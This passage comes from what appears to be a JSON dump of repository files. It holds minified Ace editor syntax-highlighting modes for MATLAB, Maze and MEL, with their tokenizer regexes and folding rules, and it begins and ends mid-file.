ing\"},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}]},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\",next:\"start\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\",next:\"start\"},{token:\"paren.lparen\",regex:\"[({\\\\[]\",next:\"start\"},{token:\"paren.rparen\",regex:\"[\\\\]})]\"},{token:\"text\",regex:\"\\\\s+\"},{token:\"text\",regex:\"$\",next:\"start\"}],blockComment:[{regex:\"^\\\\s*%{\\\\s*$\",token:\"comment.start\",push:\"blockComment\"},{regex:\"^\\\\s*%}\\\\s*$\",token:\"comment.end\",next:\"pop\"},{defaultToken:\"comment\"}]},this.normalizeRules()};r.inherits(s,i),t.MatlabHighlightRules=s}),define(\"ace/mode/matlab\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/matlab_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./matlab_highlight_rules\").MatlabHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"%\",this.blockComment={start:\"%{\",end:\"%}\"},this.$id=\"ace/mode/matlab\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-maze.js",
    "content": "define(\"ace/mode/maze_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"keyword.control\",regex:/##|``/,comment:\"Wall\"},{token:\"entity.name.tag\",regex:/\\.\\./,comment:\"Path\"},{token:\"keyword.control\",regex:/<>/,comment:\"Splitter\"},{token:\"entity.name.tag\",regex:/\\*[\\*A-Za-z0-9]/,comment:\"Signal\"},{token:\"constant.numeric\",regex:/[0-9]{2}/,comment:\"Pause\"},{token:\"keyword.control\",regex:/\\^\\^/,comment:\"Start\"},{token:\"keyword.control\",regex:/\\(\\)/,comment:\"Hole\"},{token:\"support.function\",regex:/>>/,comment:\"Out\"},{token:\"support.function\",regex:/>\\//,comment:\"Ln Out\"},{token:\"support.function\",regex:/<</,comment:\"In\"},{token:\"keyword.control\",regex:/--/,comment:\"One use\"},{token:\"constant.language\",regex:/%[LRUDNlrudn]/,comment:\"Direction\"},{token:[\"entity.name.function\",\"keyword.other\",\"keyword.operator\",\"keyword.other\",\"keyword.operator\",\"constant.numeric\",\"keyword.operator\",\"keyword.other\",\"keyword.operator\",\"constant.numeric\",\"string.quoted.double\",\"string.quoted.single\"],regex:/([A-Za-z][A-Za-z0-9])( *-> *)(?:([-+*\\/]=)( *)((?:-)?)([0-9]+)|(=)( *)(?:((?:-)?)([0-9]+)|(\"[^\"]*\")|('[^']*')))/,comment:\"Assignment function\"},{token:[\"entity.name.function\",\"keyword.other\",\"keyword.control\",\"keyword.other\",\"keyword.operator\",\"keyword.other\",\"keyword.operator\",\"constant.numeric\",\"entity.name.tag\",\"keyword.other\",\"keyword.control\",\"keyword.other\",\"constant.language\",\"keyword.other\",\"keyword.control\",\"keyword.other\",\"constant.language\"],regex:/([A-Za-z][A-Za-z0-9])( *-> *)(IF|if)( *)(?:([<>]=?|==)( *)((?:-)?)([0-9]+)|(\\*[\\*A-Za-z0-9]))( *)(THEN|then)( *)(%[LRUDNlrudn])(?:( *)(ELSE|else)( *)(%[LRUDNlrudn]))?/,comment:\"Equality Function\"},{token:\"entity.name.function\",regex:/[A-Za-z][A-Za-z0-9]/,comment:\"Function cell\"},{token:\"comment.line.double-slash\",regex:/ *\\/\\/.*/,comment:\"Comment\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"mz\"],name:\"Maze\",scopeName:\"source.maze\"},r.inherits(s,i),t.MazeHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/maze\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/maze_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./maze_highlight_rules\").MazeHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.$id=\"ace/mode/maze\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-mel.js",
    "content": "define(\"ace/mode/mel_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{caseInsensitive:!0,token:\"storage.type.mel\",regex:\"\\\\b(matrix|string|vector|float|int|void)\\\\b\"},{caseInsensitive:!0,token:\"support.function.mel\",regex:\"\\\\b((s(h(ow(ManipCtx|S(hadingGroupAttrEditor|electionInTitle)|H(idden|elp)|Window)|el(f(Button|TabLayout|Layout)|lField)|ading(GeometryRelCtx|Node|Connection|LightRelCtx))|y(s(tem|File)|mbol(Button|CheckBox))|nap(shot|Mode|2to2 |TogetherCtx|Key)|c(ulpt|ene(UIReplacement|Editor)|ale(BrushBrightness |Constraint|Key(Ctx)?)?|r(ipt(Node|Ctx|Table|edPanel(Type)?|Job|EditorInfo)|oll(Field|Layout))|mh)|t(itch(Surface(Points)?|AndExplodeShell )|a(ckTrace|rt(sWith |String ))|r(cmp|i(ng(ToStringArray |Array(Remove(Duplicates | )|C(ount |atenate )|ToString |Intersector))|p )|oke))|i(n(gleProfileBirailSurface)?|ze|gn|mplify)|o(u(nd(Control)?|rce)|ft(Mod(Ctx)?)?|rt)|u(perCtx|rface(S(haderList|ampler))?|b(st(itute(Geometry|AllString )?|ring)|d(M(irror|a(tchTopology|p(SewMove|Cut)))|iv(Crease|DisplaySmoothness)?|C(ollapse|leanTopology)|T(o(Blind|Poly)|ransferUVsToCache)|DuplicateAndConnect|EditUV|ListComponentConversion|AutoProjection)))|p(h(ere|rand)|otLight(PreviewPort)?|aceLocator|r(ing|eadSheetEditor))|e(t(s|MenuMode|Sta(te |rtupMessage|mpDensity )|NodeTypeFlag|ConstraintRestPosition |ToolTo|In(putDeviceMapping|finity)|D(ynamic|efaultShadingGroup|rivenKeyframe)|UITemplate|P(ar(ticleAttr|ent)|roject )|E(scapeCtx|dit(or|Ctx))|Key(Ctx|frame|Path)|F(ocus|luidAttr)|Attr(Mapping)?)|parator|ed|l(ect(Mode|ionConnection|Context|Type|edNodes|Pr(iority|ef)|Key(Ctx)?)?|LoadSettings)|archPathArray )|kin(Cluster|Percent)|q(uareSurface|rt)|w(itchTable|atchDisplayPort)|a(ve(Menu|Shelf|ToolSettings|I(nitialState|mage)|Pref(s|Objects)|Fluid|A(ttrPreset |llShelves))|mpleImage)|rtContext|mooth(step|Curve|TangentSurface))|h(sv_to_rgb|yp(ot|er(Graph|Shade|Panel))|i(tTest|de|lite)|ot(Box|key(Check)?)|ud(Button|Slider(Button)?)|e(lp(Line)?|adsUpDisplay|rmite)|wRe(nder(Load)?|flectionMap)|ard(enPointCurve|ware(RenderPanel)?))|n(o(nLinear|ise|de(Type|IconButton|Outliner|Preset)|rmal(ize |Constraint))|urbs(Boolean|S(elect|quare)|C(opyUVSet|ube)|To(Subdiv|Poly(gonsPref)?)|Plane|ViewDirectionVector )|ew(ton|PanelItems)|ame(space(Info)?|Command|Field))|c(h(oice|dir|eck(Box(Grp)?|DefaultRenderGlobals)|a(n(nelBox|geSubdiv(Region|ComponentDisplayLevel))|racter(Map|OutlineEditor)?))|y(cleCheck|linder)|tx(Completion|Traverse|EditMode|Abort)|irc(ularFillet|le)|o(s|n(str(uctionHistory|ain(Value)?)|nect(ionInfo|Control|Dynamic|Joint|Attr)|t(extInfo|rol)|dition|e|vert(SolidTx|Tessellation|Unit|FromOldLayers |Lightmap)|firmDialog)|py(SkinWeights|Key|Flexor|Array )|l(or(Slider(Grp|ButtonGrp)|Index(SliderGrp)?|Editor|AtPoint)?|umnLayout|lision)|arsenSubdivSelectionList|m(p(onentEditor|utePolysetVolume |actHairSystem )|mand(Port|Echo|Line)))|u(tKey|r(ve(MoveEPCtx|SketchCtx|CVCtx|Intersect|OnSurface|E(ditorCtx|PCtx)|AddPtCtx)?|rent(Ctx|Time(Ctx)?|Unit)))|p(GetSolverAttr|Button|S(olver(Types)?|e(t(SolverAttr|Edit)|am))|C(o(nstraint|llision)|ache)|Tool|P(anel|roperty))|eil|l(ip(Schedule(rOutliner)?|TrimBefore |Editor(CurrentTimeCtx)?)?|ose(Surface|Curve)|uster|ear(Cache)?|amp)|a(n(CreateManip|vas)|tch(Quiet)?|pitalizeString |mera(View)?)|r(oss(Product )?|eate(RenderLayer|MotionField |SubdivRegion|N(ode|ewShelf )|D(isplayLayer|rawCtx)|Editor))|md(Shell|FileOutput))|M(R(ender(ShadowData|Callback|Data|Util|View|Line(Array)?)|ampAttribute)|G(eometryData|lobal)|M(odelMessage|essage|a(nipData|t(erial|rix)))|BoundingBox|S(yntax|ceneMessage|t(atus|ring(Array)?)|imple|pace|elect(ion(Mask|List)|Info)|watchRender(Register|Base))|H(ardwareRenderer|WShaderSwatchGenerator)|NodeMessage|C(o(nditionMessage|lor(Array)?|m(putation|mand(Result|Message)))|ursor|loth(Material|S(ystem|olverRegister)|Con(straint|trol)|Triangle|Particle|Edge|Force)|allbackIdArray)|T(ypeId|ime(r(Message)?|Array)?|oolsInfo|esselationParams|r(imBoundaryArray|ansformationMatrix))|I(ntArray|t(Geometry|Mesh(Polygon|Edge|Vertex|FaceVertex)|S(urfaceCV|electionList)|CurveCV|Instancer|eratorType|D(ependency(Graph|Nodes)|ag)|Keyframe)|k(System|HandleGroup)|mage)|3dView|Object(SetMessage|Handle|Array)?|D(G(M(odifier|essage)|Context)|ynSwept(Triangle|Line)|istance|oubleArray|evice(State|Channel)|a(ta(Block|Handle)|g(M(odifier|essage)|Path(Array)?))|raw(Request(Queue)?|Info|Data|ProcedureBase))|U(serEventMessage|i(nt(Array|64Array)|Message))|P(o(int(Array)?|lyMessage)|lug(Array)?|rogressWindow|x(G(eometry(Iterator|Data)|lBuffer)|M(idiInputDevice|odelEditorCommand|anipContainer)|S(urfaceShape(UI)?|pringNode|electionContext)|HwShaderNode|Node|Co(ntext(Command)?|m(ponentShape|mand))|T(oolCommand|ransform(ationMatrix)?)|IkSolver(Node)?|3dModelView|ObjectSet|D(eformerNode|ata|ragAndDropBehavior)|PolyT(weakUVCommand|rg)|EmitterNode|F(i(eldNode|leTranslator)|luidEmitterNode)|LocatorNode))|E(ulerRotation|vent(Message)?)|ayatomr|Vector(Array)?|Quaternion|F(n(R(otateManip|eflectShader|adialField)|G(e(nericAttribute|ometry(Data|Filter))|ravityField)|M(otionPath|es(sageAttribute|h(Data)?)|a(nip3D|trix(Data|Attribute)))|B(l(innShader|endShapeDeformer)|ase)|S(caleManip|t(ateManip|ring(Data|ArrayData))|ingleIndexedComponent|ubd(Names|Data)?|p(hereData|otLight)|et|kinCluster)|HikEffector|N(on(ExtendedLight|AmbientLight)|u(rbs(Surface(Data)?|Curve(Data)?)|meric(Data|Attribute))|ewtonField)|C(haracter|ircleSweepManip|ompo(nent(ListData)?|undAttribute)|urveSegmentManip|lip|amera)|T(ypedAttribute|oggleManip|urbulenceField|r(ipleIndexedComponent|ansform))|I(ntArrayData|k(Solver|Handle|Joint|Effector))|D(ynSweptGeometryData|i(s(cManip|tanceManip)|rection(Manip|alLight))|ouble(IndexedComponent|ArrayData)|ependencyNode|a(ta|gNode)|ragField)|U(ni(tAttribute|formField)|Int64ArrayData)|P(hong(Shader|EShader)|oint(On(SurfaceManip|CurveManip)|Light|ArrayData)|fxGeometry|lugin(Data)?|arti(cleSystem|tion))|E(numAttribute|xpression)|V(o(lume(Light|AxisField)|rtexField)|ectorArrayData)|KeyframeDelta(Move|B(lockAddRemove|reakdown)|Scale|Tangent|InfType|Weighted|AddRemove)?|F(ield|luid|reePointTriadManip)|W(ireDeformer|eightGeometryFilter)|L(ight(DataAttribute)?|a(yeredShader|ttice(D(eformer|ata))?|mbertShader))|A(ni(sotropyShader|mCurve)|ttribute|irField|r(eaLight|rayAttrsData)|mbientLight))?|ile(IO|Object)|eedbackLine|loat(Matrix|Point(Array)?|Vector(Array)?|Array))|L(i(ghtLinks|brary)|ockMessage)|A(n(im(Message|C(ontrol|urveC(hange|lipboard(Item(Array)?)?))|Util)|gle)|ttribute(Spec(Array)?|Index)|r(rayData(Builder|Handle)|g(Database|Parser|List))))|t(hreePointArcCtx|ime(Control|Port|rX)|o(ol(Button|HasOptions|Collection|Dropped|PropertyWindow)|NativePath |upper|kenize(List )?|l(ower|erance)|rus|ggle(WindowVisibility|Axis)?)|u(rbulence|mble(Ctx)?)|ex(RotateContext|M(oveContext|anipContext)|t(ScrollList|Curves|ure(HairColor |DisplacePlane |PlacementContext|Window)|ToShelf |Field(Grp|ButtonGrp)?)?|S(caleContext|electContext|mudgeUVContext)|WinToolCtx)|woPointArcCtx|a(n(gentConstraint)?|bLayout)|r(im|unc(ate(HairCache|FluidCache))?|a(ns(formLimits|lator)|c(e|k(Ctx)?))))|i(s(olateSelect|Connected|True|Dirty|ParentOf |Valid(String |ObjectName |UiName )|AnimCurve )|n(s(tance(r)?|ert(Joint(Ctx)?|K(not(Surface|Curve)|eyCtx)))|heritTransform|t(S(crollBar|lider(Grp)?)|er(sect|nalVar|ToUI )|Field(Grp)?))|conText(Radio(Button|Collection)|Button|StaticLabel|CheckBox)|temFilter(Render|Type|Attr)?|prEngine|k(S(ystem(Info)?|olver|plineHandleCtx)|Handle(Ctx|DisplayScale)?|fkDisplayMethod)|m(portComposerCurves |fPlugins|age))|o(ceanNurbsPreviewPlane |utliner(Panel|Editor)|p(tion(Menu(Grp)?|Var)|en(GLExtension|MayaPref))|verrideModifier|ffset(Surface|Curve(OnSurface)?)|r(ientConstraint|bit(Ctx)?)|b(soleteProc |j(ect(Center|Type(UI)?|Layer )|Exists)))|d(yn(RelEd(itor|Panel)|Globals|C(ontrol|ache)|P(a(intEditor|rticleCtx)|ref)|Exp(ort|ression)|amicLoad)|i(s(connect(Joint|Attr)|tanceDim(Context|ension)|pla(y(RGBColor|S(tats|urface|moothness)|C(olor|ull)|Pref|LevelOfDetail|Affected)|cementToPoly)|kCache|able)|r(name |ect(ionalLight|KeyCtx)|map)|mWhen)|o(cServer|Blur|t(Product )?|ubleProfileBirailSurface|peSheetEditor|lly(Ctx)?)|uplicate(Surface|Curve)?|e(tach(Surface|Curve|DeviceAttr)|vice(Panel|Editor)|f(ine(DataServer|VirtualDevice)|ormer|ault(Navigation|LightListCheckBox))|l(ete(Sh(elfTab |adingGroupsAndMaterials )|U(nusedBrushes |I)|Attr)?|randstr)|g_to_rad)|agPose|r(opoffLocator|ag(gerContext)?)|g(timer|dirty|Info|eval))|CBG |u(serCtx|n(t(angleUV|rim)|i(t|form)|do(Info)?|loadPlugin|assignInputDevice|group)|iTemplate|p(dateAE |Axis)|v(Snapshot|Link))|joint(C(tx|luster)|DisplayScale|Lattice)?|p(sd(ChannelOutliner|TextureFile|E(ditTextureFile|xport))|close|i(c(ture|kWalk)|xelMove)|o(se|int(MatrixMult |C(onstraint|urveConstraint)|On(Surface|Curve)|Position|Light)|p(upMenu|en)|w|l(y(Reduce|GeoSampler|M(irrorFace|ove(UV|Edge|Vertex|Facet(UV)?)|erge(UV|Edge(Ctx)?|Vertex|Facet(Ctx)?)|ap(Sew(Move)?|Cut|Del))|B(oolOp|evel|l(indData|endColor))|S(traightenUVBorder|oftEdge|u(perCtx|bdivide(Edge|Facet))|p(her(icalProjection|e)|lit(Ring|Ctx|Edge|Vertex)?)|e(tToFaceNormal|parate|wEdge|lect(Constraint(Monitor)?|EditCtx))|mooth)|Normal(izeUV|PerVertex)?|C(hipOff|ylind(er|ricalProjection)|o(ne|pyUV|l(or(BlindData|Set|PerVertex)|lapse(Edge|Facet)))|u(t(Ctx)?|be)|l(ipboard|oseBorder)|acheMonitor|rea(seEdge|teFacet(Ctx)?))|T(o(Subdiv|rus)|r(iangulate|ansfer))|In(stallAction|fo)|Options|D(uplicate(Edge|AndConnect)|el(Edge|Vertex|Facet))|U(nite|VSet)|P(yramid|oke|lan(e|arProjection)|r(ism|ojection))|E(ditUV|valuate|xtrude(Edge|Facet))|Qu(eryBlindData|ad)|F(orceUV|lip(UV|Edge))|WedgeFace|L(istComponentConversion|ayoutUV)|A(utoProjection|ppend(Vertex|FacetCtx)?|verage(Normal|Vertex)))|eVectorConstraint))|utenv|er(cent|formanceOptions)|fxstrokes|wd|l(uginInfo|a(y(b(last|ackOptions))?|n(e|arSrf)))|a(steKey|ne(l(History|Configuration)?|Layout)|thAnimation|irBlend|use|lettePort|r(ti(cle(RenderInfo|Instancer|Exists)?|tion)|ent(Constraint)?|am(Dim(Context|ension)|Locator)))|r(int|o(j(ect(ion(Manip|Context)|Curve|Tangent)|FileViewer)|pMo(dCtx|ve)|gress(Bar|Window)|mptDialog)|eloadRefEd))|e(n(codeString|d(sWith |String )|v|ableDevice)|dit(RenderLayer(Globals|Members)|or(Template)?|DisplayLayer(Globals|Members)|AttrLimits )|v(ent|al(Deferred|Echo)?)|quivalent(Tol | )|ffector|r(f|ror)|x(clusiveLightCheckBox|t(end(Surface|Curve)|rude)|ists|p(ortComposerCurves |ression(EditorListen)?)?|ec(uteForEachObject )?|actWorldBoundingBox)|mit(ter)?)|v(i(sor|ew(Set|HeadOn|2dToolCtx|C(lipPlane|amera)|Place|Fit|LookAt))|o(lumeAxis|rtex)|e(ctorize|rifyCmd )|alidateShelfName )|key(Tangent|frame(Region(MoveKeyCtx|S(caleKeyCtx|e(tKeyCtx|lectKeyCtx))|CurrentTimeCtx|TrackCtx|InsertKeyCtx|D(irectKeyCtx|ollyCtx))|Stats|Outliner)?)|qu(it|erySubdiv)|f(c(heck|lose)|i(nd(RelatedSkinCluster |MenuItem |er|Keyframe|AllIntersections )|tBspline|l(ter(StudioImport|Curve|Expand)?|e(BrowserDialog|test|Info|Dialog|Extension )?|letCurve)|rstParentOf )|o(ntDialog|pen|rmLayout)|print|eof|flush|write|l(o(or|w|at(S(crollBar|lider(Grp|ButtonGrp|2)?)|Eq |Field(Grp)?))|u(shUndo|id(CacheInfo|Emitter|VoxelInfo))|exor)|r(omNativePath |e(eFormFillet|wind|ad)|ameLayout)|get(word|line)|mod)|w(hatIs|i(ndow(Pref)?|re(Context)?)|orkspace|ebBrowser(Prefs)?|a(itCursor|rning)|ri(nkle(Context)?|teTake))|l(s(T(hroughFilter|ype )|UI)?|i(st(Relatives|MenuAnnotation |Sets|History|NodeTypes|C(onnections|ameras)|Transforms |InputDevice(s|Buttons|Axes)|erEditor|DeviceAttachments|Unselected |A(nimatable|ttr))|n(step|eIntersection )|ght(link|List(Panel|Editor)?))|o(ckNode|okThru|ft|ad(NewShelf |P(lugin|refObjects)|Fluid)|g)|a(ssoContext|y(out|er(Button|ed(ShaderPort|TexturePort)))|ttice(DeformKeyCtx)?|unch(ImageEditor)?))|a(ssign(Command|InputDevice)|n(notate|im(C(one|urveEditor)|Display|View)|gle(Between)?)|tt(ach(Surface|Curve|DeviceAttr)|r(ibute(Menu|Info|Exists|Query)|NavigationControlGrp|Co(ntrolGrp|lorSliderGrp|mpatibility)|PresetEditWin|EnumOptionMenu(Grp)?|Field(Grp|SliderGrp)))|i(r|mConstraint)|d(d(NewShelfTab|Dynamic|PP|Attr(ibuteEditorNodeHelp)?)|vanceToNextDrivenKey)|uto(Place|Keyframe)|pp(endStringArray|l(y(Take|AttrPreset)|icationName))|ffect(s|edNet)|l(i(as(Attr)?|gn(Surface|C(tx|urve))?)|lViewFit)|r(c(len|Len(DimContext|gthDimension))|t(BuildPaintMenu|Se(tPaintCtx|lectCtx)|3dPaintCtx|UserPaintCtx|PuttyCtx|FluidAttrCtx|Attr(SkinPaintCtx|Ctx|PaintVertexCtx))|rayMapper)|mbientLight|b(s|out))|r(igid(Body|Solver)|o(t(at(ionInterpolation|e))?|otOf |undConstantRadius|w(ColumnLayout|Layout)|ll(Ctx)?)|un(up|TimeCommand)|e(s(olutionNode|et(Tool|AE )|ampleFluid)|hash|n(der(GlobalsNode|Manip|ThumbnailUpdate|Info|er|Partition|QualityNode|Window(SelectContext|Editor)|LayerButton)?|ame(SelectionList |UI|Attr)?)|cord(Device|Attr)|target|order(Deformers)?|do|v(olve|erse(Surface|Curve))|quires|f(ineSubdivSelectionList|erence(Edit|Query)?|resh(AE )?)|loadImage|adTake|root|move(MultiInstance|Joint)|build(Surface|Curve))|a(n(d(state|omizeFollicles )?|geControl)|d(i(o(MenuItemCollection|Button(Grp)?|Collection)|al)|_to_deg)|mpColorPort)|gb_to_hsv)|g(o(toBindPose |al)|e(t(M(odifiers|ayaPanelTypes )|Classification|InputDeviceRange|pid|env|DefaultBrush|Pa(nel|rticleAttr)|F(ileList|luidAttr)|A(ttr|pplicationVersionAsFloat ))|ometryConstraint)|l(Render(Editor)?|obalStitch)|a(uss|mma)|r(id(Layout)?|oup(ObjectsByName )?|a(dientControl(NoAttr)?|ph(SelectContext|TrackCtx|DollyCtx)|vity|bColor))|match)|x(pmPicker|form|bmLangPathList )|m(i(n(imizeApp)?|rrorJoint)|o(del(CurrentTimeCtx|Panel|Editor)|use|v(In|e(IKtoFK |VertexAlongDirection|KeyCtx)?|Out))|u(te|ltiProfileBirailSurface)|e(ssageLine|nu(BarLayout|Item(ToShelf )?|Editor)?|mory)|a(nip(Rotate(Context|LimitsCtx)|Move(Context|LimitsCtx)|Scale(Context|LimitsCtx)|Options)|tch|ke(Roll |SingleSurface|TubeOn |Identity|Paintable|bot|Live)|rker|g|x))|b(in(Membership|d(Skin|Pose))|o(neLattice|undary|x(ZoomCtx|DollyCtx))|u(tton(Manip)?|ild(BookmarkMenu|KeyframeMenu)|fferCurve)|e(ssel|vel(Plus)?)|l(indDataType|end(Shape(Panel|Editor)?|2|TwoAttr))|a(sename(Ex | )|tchRender|ke(Results|Simulation|Clip|PartialHistory|FluidShading )))))\\\\b\"},{caseInsensitive:!0,token:\"support.constant.mel\",regex:\"\\\\b(s(h(ellTessellate|a(d(ing(Map|Engine)|erGlow)|pe))|n(ow|apshot(Shape)?)|c(ulpt|aleConstraint|ript)|t(yleCurve|itch(Srf|AsNurbsShell)|u(cco|dioClearCoat)|encil|roke(Globals)?)|i(ngleShadingSwitch|mpleVolumeShader)|o(ftMod(Manip|Handle)?|lidFractal)|u(rface(Sha(der|pe)|Info|EdManip|VarGroup|Luminance)|b(Surface|d(M(odifier(UV|World)?|ap(SewMove|Cut|pingManip))|B(lindData|ase)|iv(ReverseFaces|SurfaceVarGroup|Co(llapse|mponentId)|To(Nurbs|Poly))?|HierBlind|CleanTopology|Tweak(UV)?|P(lanarProj|rojManip)|LayoutUV|A(ddTopology|utoProj))|Curve))|p(BirailSrf|otLight|ring)|e(tRange|lectionListOperator)|k(inCluster|etchPlane)|quareSrf|ampler(Info)?|m(ooth(Curve|TangentSrf)|ear))|h(svToRgb|yper(GraphInfo|View|Layout)|ik(Solver|Handle|Effector)|oldMatrix|eightField|w(Re(nderGlobals|flectionMap)|Shader)|a(ir(System|Constraint|TubeShader)|rd(enPoint|wareRenderGlobals)))|n(o(n(ExtendedLightShapeNode|Linear|AmbientLightShapeNode)|ise|rmalConstraint)|urbs(Surface|Curve|T(oSubdiv(Proc)?|essellate)|DimShape)|e(twork|wtonField))|c(h(o(ice|oser)|ecker|aracter(Map|Offset)?)|o(n(straint|tr(olPoint|ast)|dition)|py(ColorSet|UVSet))|urve(Range|Shape|Normalizer(Linear|Angle)?|In(tersect|fo)|VarGroup|From(Mesh(CoM|Edge)?|Su(rface(Bnd|CoS|Iso)?|bdiv(Edge|Face)?)))|l(ip(Scheduler|Library)|o(se(stPointOnSurface|Surface|Curve)|th|ud)|uster(Handle)?|amp)|amera(View)?|r(eate(BPManip|ColorSet|UVSet)|ater))|t(ime(ToUnitConversion|Function)?|oo(nLineAttributes|lDrawManip)|urbulenceField|ex(BaseDeformManip|ture(BakeSet|2d|ToGeom|3d|Env)|SmudgeUVManip|LatticeDeformManip)|weak|angentConstraint|r(i(pleShadingSwitch|m(WithBoundaries)?)|ansform(Geometry)?))|i(n(s(tancer|ertKnot(Surface|Curve))|tersectSurface)|k(RPsolver|MCsolver|S(ystem|olver|Csolver|plineSolver)|Handle|PASolver|Effector)|m(plicit(Box|Sphere|Cone)|agePlane))|o(cean(Shader)?|pticalFX|ffset(Surface|C(os|urve))|ldBlindDataBase|rient(Constraint|ationMarker)|bject(RenderFilter|MultiFilter|BinFilter|S(criptFilter|et)|NameFilter|TypeFilter|Filter|AttrFilter))|d(yn(Globals|Base)|i(s(tance(Between|DimShape)|pla(yLayer(Manager)?|cementShader)|kCache)|rect(ionalLight|edDisc)|mensionShape)|o(ubleShadingSwitch|f)|pBirailSrf|e(tach(Surface|Curve)|pendNode|f(orm(Bend|S(ine|quash)|Twist|ableShape|F(unc|lare)|Wave)|ault(RenderUtilityList|ShaderList|TextureList|LightList))|lete(Co(lorSet|mponent)|UVSet))|ag(Node|Pose)|r(opoffLocator|agField))|u(seBackground|n(trim|i(t(Conversion|ToTimeConversion)|formField)|known(Transform|Dag)?)|vChooser)|j(iggle|oint(Cluster|Ffd|Lattice)?)|p(sdFileTex|hong(E)?|o(s(tProcessList|itionMarker)|int(MatrixMult|Constraint|On(SurfaceInfo|CurveInfo)|Emitter|Light)|l(y(Reduce|M(irror|o(difier(UV|World)?|ve(UV|Edge|Vertex|Face(tUV)?))|erge(UV|Edge|Vert|Face)|ap(Sew(Move)?|Cut|Del))|B(oolOp|evel|lindData|ase)|S(traightenUVBorder|oftEdge|ubd(Edge|Face)|p(h(ere|Proj)|lit(Ring|Edge|Vert)?)|e(parate|wEdge)|mooth(Proxy|Face)?)|Normal(izeUV|PerVertex)?|C(hipOff|yl(inder|Proj)|o(ne|pyUV|l(orPerVertex|lapse(Edge|F)))|u(t(Manip(Container)?)?|be)|loseBorder|rea(seEdge|t(or|eFace)))|T(o(Subdiv|rus)|weak(UV)?|r(iangulate|ansfer))|OptUvs|D(uplicateEdge|el(Edge|Vertex|Facet))|Unite|P(yramid|oke(Manip)?|lan(e|arProj)|r(i(sm|mitive)|oj))|Extrude(Edge|Vertex|Face)|VertexNormalManip|